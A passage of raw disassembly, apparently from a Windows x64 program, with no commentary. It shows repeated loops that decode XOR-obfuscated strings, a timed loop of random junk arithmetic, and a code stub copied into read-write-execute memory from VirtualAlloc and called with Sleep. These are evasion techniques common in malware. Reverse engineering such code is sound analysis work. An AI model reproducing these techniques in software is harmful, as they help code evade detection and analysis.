movups xmm0, xmmword [0x140270160]
movups xmmword [rsp + 0x6b0], xmm0
movups xmm1, xmmword [0x140270170]
movups xmmword [rsp + 0x6c0], xmm1
movups xmm0, xmmword [0x140270180]
movups xmmword [rsp + 0x6d0], xmm0
movups xmm1, xmmword [0x140270190]
movups xmmword [rsp + 0x6e0], xmm1
movsd xmm0, qword [0x1402701a0]
movsd qword [rsp + 0x6f0], xmm0
mov eax, dword [0x1402701a8]
mov dword [rsp + 0x6f8], eax
movzx eax, word [0x1402701ac]
mov word [rsp + 0x6fc], ax
movzx eax, byte [0x1402701ae]
mov byte [rsp + 0x6fe], al
mov r9d, esi
cmp dword [0x140284008], 2
jl 0x14020f6ff
movd xmm7, r13d
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x6b4]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x14020f510
cmp r9d, 0x4f
jge 0x14020f764
movsxd rax, r9d
lea r10, [rsp + 0x6b0]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4f
jl 0x14020f710
xorps xmm0, xmm0
movups xmmword [rsp + 0x398], xmm0
mov qword [rsp + 0x3a8], rsi
mov qword [rsp + 0x3b0], rsi
lea rax, [rsp + 0x6b0]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14020f791
lea rdx, [rsp + 0x6b0]
lea rcx, [rsp + 0x398]
call fcn.1401d50a0
lea rcx, [rsp + 0x398]
call fcn.1401c8980
movups xmm0, xmmword [0x140271940]
movups xmmword [rsp + 0x900], xmm0
movups xmm1, xmmword [0x140271950]
movups xmmword [rsp + 0x910], xmm1
movups xmm0, xmmword [0x140271960]
movups xmmword [rsp + 0x920], xmm0
movups xmm1, xmmword [0x140271970]
movups xmmword [rsp + 0x930], xmm1
movups xmm0, xmmword [0x140271980]
movups xmmword [rsp + 0x940], xmm0
movups xmm1, xmmword [0x140271990]
movups xmmword [rsp + 0x950], xmm1
movups xmm0, xmmword [0x1402719a0]
movups xmmword [rsp + 0x960], xmm0
movups xmm1, xmmword [0x1402719b0]
movups xmmword [rsp + 0x970], xmm1
mov eax, dword [0x1402719c0]
mov dword [rsp + 0x980], eax
movzx eax, word [0x1402719c4]
mov word [rsp + 0x984], ax
mov r9d, esi
cmp dword [0x140284008], 2
jl 0x14020fa85
movd xmm7, r13d
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x904]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x80
jl 0x14020f890
cmp r9d, 0x86
jge 0x14020faf7
movsxd rax, r9d
lea r10, [rsp + 0x900]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x86
jl 0x14020faa0
xorps xmm0, xmm0
movups xmmword [rsp + 0x5d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5e8], xmm1
lea rax, [rsp + 0x900]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14020fb20
lea rdx, [rsp + 0x900]
lea rcx, [rsp + 0x5d8]
call fcn.1401d50a0
nop
lea rcx, [rsp + 0x5d8]
call fcn.1401c68c0
nop
lea rcx, [rsp + 0x5d8]
call fcn.140219ac0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0xae04], 0xffffffff
mov dword [rsp + 0x9a84], eax
mov edx, 1
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x9a84], eax
inc rdx
cmp rdx, 0x270
jb 0x14020fb80
mov dword [rsp + 0x9a80], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov qword [rsp + 0x50], rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov r8, qword [rsp + 0x50]
cmp r8, 0x989680
jne 0x14020fbd6
imul rax, rax, 0x64
jmp 0x14020fbf1
cqo
idiv r8
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv r8
add rax, rcx
add rax, 0x5f5e100
mov qword [rsp + 0x68], rax
mov r12, rax
nop
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rdi, 0x989680
jne 0x14020fc1e
imul rax, rax, 0x64
jmp 0x14020fc39
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, r12
jge 0x14020fe1f
mov edi, 0x186a0
mov r12d, 1
nop dword [rax]
lea rcx, [rsp + 0x9a80]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020fc8b
nop dword [rax + rax]
lea rcx, [rsp + 0x9a80]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020fc70
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
test edx, edx
cmove edx, r12d
mov dword [rsp + 0x60], edx
lea rcx, [rsp + 0x9a80]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov ecx, dword [rsp + 0x60]
mov dword [rsp + 0x60], ecx
cmp eax, 0xc9
jae 0x14020fcfc
mov dword [rsp + 0x60], ecx
cmp eax, 0x64
jae 0x14020fcfc
mov dword [rsp + 0x60], ecx
lea rcx, [rsp + 0x9a80]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020fce1
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x9a80]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14020fd5d
cmp eax, 0x64
jae 0x14020fd5d
lea rcx, [rsp + 0x9a80]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020fd42
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x9a80]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov edx, dword [rsp + 0x60]
mov r8d, edx
cmp eax, 0xc9
jae 0x14020fdd0
cmp eax, 0x64
jae 0x14020fdd0
mov dword [rsp + 0x60], edx
nop
lea rcx, [rsp + 0x9a80]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020fdb0
mov r8d, dword [rsp + 0x60]
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], edx
sub rdi, r12
jne 0x14020fc50
mov r12, qword [rsp + 0x68]
jmp 0x14020fc00
mov eax, dword [rsp + 0x40]
movups xmm0, xmmword [str.21_8_5_8v_v__s_]
movups xmmword [rsp + 0x660], xmm0
movups xmm1, xmmword [0x140271c50]
movups xmmword [rsp + 0x670], xmm1
movups xmm0, xmmword [0x140271c60]
movups xmmword [rsp + 0x680], xmm0
movups xmm1, xmmword [0x140271c70]
movups xmmword [rsp + 0x690], xmm1
mov eax, dword [0x140271c80]
mov dword [rsp + 0x6a0], eax
movzx eax, word [0x140271c84]
mov word [rsp + 0x6a4], ax
movzx eax, byte [0x140271c86]
mov byte [rsp + 0x6a6], al
mov r9d, esi
cmp dword [0x140284008], 2
lea rdi, [0x1401c4bd0]
movabs r12, 0xff00ff00ff00ff00
jl 0x1402100cf
movd xmm7, r13d
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x664]
nop dword [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, xmm7
pmuldq xmm4, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272840]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272920]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x40
jl 0x14020fee0
cmp r9d, 0x47
jge 0x140210134
movsxd rax, r9d
lea r10, [rsp + 0x660]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x47
jl 0x1402100e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x5b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5c8], xmm1
lea rax, [rsp + 0x660]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140210153
mov r8, rbx
lea rdx, [rsp + 0x660]
lea rcx, [rsp + 0x5b8]
call fcn.1401d50a0
nop
lea rcx, [rsp + 0x5b8]
call fcn.1401c68c0
nop
lea rcx, [rsp + 0x5b8]
call fcn.140219ac0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xec], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xed8], xmm0
lea rcx, [rsp + 0xca38]
mov qword [rsp + 0xee0], r12
mov qword [rsp + 0xee8], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xed8], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x140290430]
test rax, rax
je 0x14021021d
mov r8, rsi
lea rdx, [0x14021bd00]
cmp rax, rdx
je 0x14021020c
inc ecx
mov r8d, ecx
mov rax, qword [r14 + rcx*8 + 0x290430]
test rax, rax
jne 0x1402101f3
jmp 0x14021021d
mov r8, qword [r14 + r8*8 + 0x292a30]
test r8, r8
jne 0x140210307
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140210244
mov r8, rsi
jmp 0x1402102df
lea rax, [0x14021bd00]
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140210251
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140290da0]
lea rcx, [0x14021bd00]
mov qword [r14 + rax*8 + 0x290430], rcx
mov qword [r14 + rax*8 + 0x292a30], r8
inc rax
mov qword [0x140290da0], rax
lea rdx, [rsp + 0xec]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xed8], rax
lea rcx, [rsp + 0xca38]
mov qword [rcx], rax
movups xmm0, xmmword [str.__2__l_4_2____f]
movups xmmword [rsp + 0x538], xmm0
movups xmm1, xmmword [0x140270fd0]
movups xmmword [rsp + 0x548], xmm1
movups xmm0, xmmword [0x140270fe0]
movups xmmword [rsp + 0x558], xmm0
movsd xmm0, qword [0x140270ff0]
movsd qword [rsp + 0x568], xmm0
movzx eax, byte [0x140270ff8]
mov byte [rsp + 0x570], al
mov r9d, esi
cmp dword [0x140284008], 2
jl 0x1402105af
movd xmm7, r13d
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x53c]
nop dword [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, xmm7
pmuldq xmm4, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272840]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272920]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x1402103c0
cmp r9d, 0x39
jge 0x140210614
movsxd rax, r9d
lea r10, [rsp + 0x538]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x39
jl 0x1402105c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x598], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5a8], xmm1
lea rax, [rsp + 0x538]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140210640
lea rdx, [rsp + 0x538]
lea rcx, [rsp + 0x598]
call fcn.1401d50a0
nop
lea rcx, [rsp + 0x598]
call fcn.1401c68c0
nop
lea rcx, [rsp + 0x598]
call fcn.140219ac0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xf0], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xe60], xmm0
lea rcx, [rsp + 0xca38]
mov qword [rsp + 0xe68], r12
mov qword [rsp + 0xe70], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xe60], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x140290430]
test rax, rax
je 0x14021070a
mov r8, rsi
lea rdx, [0x14021bd00]
nop
cmp rax, rdx
je 0x1402106f9
inc ecx
mov r8d, ecx
mov rax, qword [r14 + rcx*8 + 0x290430]
test rax, rax
jne 0x1402106e0
jmp 0x14021070a
mov r8, qword [r14 + r8*8 + 0x292a30]
test r8, r8
jne 0x1402107f6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140210731
mov r8, rsi
jmp 0x1402107ce
lea rax, [0x14021bd00]
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
